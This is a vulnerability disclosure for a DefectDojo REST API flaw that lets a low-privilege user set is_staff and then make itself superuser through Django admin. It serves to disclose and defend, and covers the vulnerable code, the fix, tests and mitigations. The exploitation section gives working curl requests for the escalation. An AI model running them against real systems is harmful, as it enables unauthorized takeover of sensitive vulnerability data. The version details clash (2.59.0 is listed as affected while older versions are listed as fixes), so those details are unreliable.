OWASP DefectDojo is an open-source vulnerability management platform widely used by security teams to centralize, track, and prioritize findings from various scanning tools. Because it handles extremely sensitive data such as vulnerability reports, infrastructure configurations, and security metrics, the platform implements a Role-Based Access Control (RBAC) model.
However, a flaw in the validation of privileged fields in the REST API allowed a user with limited delegated permissions to escalate to superuser, completely compromising the application's security model.
Technical Analysis
Vulnerability Summary
The vulnerability has been cataloged as CVE-2026-16764, with advisory GHSA-w2j3-x3j3-mm43. It has a CVSS 3.1 score of 7.8 (High) and is classified under CWE-269 (Improper Privilege Management). The affected version is 2.59.0, and fixes are available in versions 2.58.3, 2.58.4, and 3.0.0.
Prerequisites
- Authenticated DefectDojo account with a low-privilege user
- Delegated permission
Configuration → Users (change)(auth.change_user) - Access to REST API (
/api/v2/)
The Role of is_staff in DefectDojo
To understand the severity of this vulnerability, it is essential to comprehend what the is_staff flag represents in the DefectDojo context.
According to the official documentation:
"Users marked as superuser or staff in DefectDojo can see and act on every Asset and Organization regardless of the Authorized Users lists."
This means that is_staff is not just a cosmetic administrative flag, it grants complete RBAC bypass. A user with is_staff=true:
- Views all Products, Engagements, Tests, and Findings
- Can edit/delete any record, regardless of team permissions
- Accesses the Django Admin panel (
/admin/) - Controls authorized user lists
In summary: is_staff is, functionally, almost equivalent to superuser.
Vulnerable Code
The vulnerability resides in the file dojo/api_v2/serializers.py, in the UserSerializer class.
The Problem: Incomplete Validation
The serializer exposed both is_staff and is_superuser as editable fields, but only validated changes to is_superuser:
# dojo/api_v2/serializers.py - UserSerializer
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = Dojo_User
fields = (
"id", "username", "first_name", "last_name", "email",
"is_active", "is_staff", "is_superuser", # Both exposed
# ...
)
def validate(self, data):
# ...
instance_is_superuser = self.instance.is_superuser if self.instance else False
data_is_superuser = data.get("is_superuser", instance_is_superuser)
if not self.context["request"].user.is_superuser and (
instance_is_superuser or data_is_superuser
):
raise ValidationError(
"Only superusers are allowed to add or edit superusers."
)
# THIS IS WHERE THERE IS NO EQUIVALENT VALIDATION FOR is_staff!
return data
The Django Admin Bypass
Additionally, access to the Django Admin panel (/admin/) was controlled by Django's default check:
# here is where the default Django behavior happens
def has_permission(request):
return request.user.is_active and request.user.is_staff
The default Django Admin exposes the user edit form (UserAdmin), which allows any staff user with auth.change_user to edit the is_superuser checkbox, a well-known Django footgun.
The Authorization Bypass
The file dojo/authorization/query_registrations.py confirms that is_staff is treated as superuser for authorization purposes:
# dojo/authorization/query_registrations.py
def _is_unrestricted(user, action):
# ...
if user.is_superuser:
return True
return bool(user.is_staff) # Here we can see that Staff bypasses ALL RBAC
Exploitation
The exploitation occurs in two phases:
Phase 1: Self-Elevation to Staff via API
A user with only auth.change_user can modify their own is_staff:
- We need to obtain the authentication token
LOW_TOKEN=$(curl -s -X POST \
"http://[DEFECTDOJO]/api/v2/api-token-auth/" \
-H "Content-Type: application/json" \
--data '{"username":"attacker","password":"password123"}' \
| jq -r .token)
- Let's confirm that is_superuser is blocked (this is the expected behavior)
curl -s -X PATCH \
"http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
-H "Authorization: Token $LOW_TOKEN" \
-H "Content-Type: application/json" \
--data '{"is_superuser":true}'
The response will be a JSON containing the message: "Only superusers are allowed to add or edit superusers."
- After that, we can set is_staff
curl -s -X PATCH \
"http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
-H "Authorization: Token $LOW_TOKEN" \
-H "Content-Type: application/json" \
--data '{"is_staff":true}'
The response will be: 200 OK - User is now staff!
Phase 2: Escalation to Superuser via Django Admin
With is_staff=true, the attacker now has access to /admin/:
- Access
http://[DEFECTDOJO]/admin/ - Navigate to
Auth → Users → [your user] - Check the
is_superusercheckbox - Save
The default UserAdmin form does not block this action for staff users with change_user, completing the escalation to superuser.
Result
The video below demonstrates the complete exploitation, from an account with minimal privileges to full access as superuser.
Based on this, an exploit was created to automatically exploit privilege escalation in the app.

Impact
Successful exploitation results in complete and persistent control of the DefectDojo instance:
| Impact | Description |
|---|---|
| Confidentiality | Access to all findings, vulnerability reports, and scanning data from all teams |
| Integrity | Ability to modify, delete, or hide critical findings |
| Availability | Possibility of corrupting data or blocking access for other users |
| Persistence | Creation of backdoors via new superusers |
Attack Scenarios
- Insider Threat: Employee with limited access escalates privileges to access data from other teams
- Account Compromise: Attacker who compromises a "helpdesk" account escalates to full control
- Supply Chain: In multi-tenant environments, a malicious client compromises data from other clients
Implemented Fix
The fix was implemented in commit 68a272f and PR #14952.
1. is_staff Validation in UserSerializer
# dojo/api_v2/serializers.py - FIXED
def validate(self, data):
request = self.context["request"]
# Existing validation for is_superuser
instance_is_superuser = self.instance.is_superuser if self.instance else False
data_is_superuser = data.get("is_superuser", instance_is_superuser)
if not request.user.is_superuser and (instance_is_superuser or data_is_superuser):
raise ValidationError("Only superusers are allowed to add or edit superusers.")
# NEW: Equivalent validation for is_staff
instance_is_staff = self.instance.is_staff if self.instance else False
data_is_staff = data.get("is_staff", instance_is_staff)
if not request.user.is_superuser and data_is_staff != instance_is_staff:
raise ValidationError("Only superusers are allowed to add or edit staff users.")
return data
2. Django Admin Restricted to Superusers
# dojo/admin.py - FIXED
def _admin_site_has_permission(request):
# Before: is_active and is_staff
# After: ONLY superusers
return request.user.is_active and request.user.is_superuser
admin.site.has_permission = _admin_site_has_permission
3. Django Admin Disabled by Default
# dojo/settings/settings.dist.py
# Before
DD_DJANGO_ADMIN_ENABLED = (bool, True)
# After
DD_DJANGO_ADMIN_ENABLED = (bool, False)
4. Unit Tests Added
The PR included 169 lines of tests covering:
- Rejection of
is_staffself-elevation - Rejection of third-party elevation
- Rejection of creation with
is_staff=True - Permission for superusers (positive control)
- Blocking of non-superuser staff in
/admin/
Timeline
| Date | Event |
|---|---|
| 2026-06-02 | Vulnerability reported via HackerOne |
| 2026-06-05 | Response received and finding validated |
| 2026-06-08 | Versions 2.58.3 and 3.0.0 released |
| 2026-06-28 | Advisory GHSA-w2j3-x3j3-mm43 published |
| 2026-07-23 | CVE-2026-16764 assigned |
Recommendations
For DefectDojo Administrators
- Update to version 2.58.3, 2.58.4, or 3.0.0+
- Audit API logs looking for PATCH requests to
/api/v2/users/withis_staff - Review users with is_staff and remove the flag from accounts that don't need it
- Keep DD_DJANGO_ADMIN_ENABLED=false unless absolutely necessary
- Implement monitoring for changes to privileged flags
For Developers
- Always validate all privileged fields, not just the obvious ones
- Treat
is_staffas equivalent to superuser in Django applications - Customize Django Admin to restrict editing of sensitive fields
- Implement security tests for privileged field validation
- Consider disabling Django Admin in production
Exposure Verification
# Check DefectDojo version
curl -s "http://[DEFECTDOJO]/api/v2/" | grep -i version
# Check if /admin/ is accessible
curl -s -I "http://[DEFECTDOJO]/admin/"
Let's Practice
Hacking Club is a training platform focused on the practical development of cybersecurity professionals. The Dojo challenge replicates, in a controlled environment, a service vulnerable to the flaw discussed in this article, allowing researchers and professionals to reinforce the concepts presented by exploiting the vulnerability within a secure laboratory setting.
References
- Github Exploit - CVE-2026-16764
- Challenge Dojo - Hackingclub
- CVE-2026-16764 - NVD
- GHSA-w2j3-x3j3-mm43 - GitHub Security Advisory
- PR #14952 - Fix Commit
- Commit 68a272f
- DefectDojo Documentation - Authorized Users
- CWE-269: Improper Privilege Management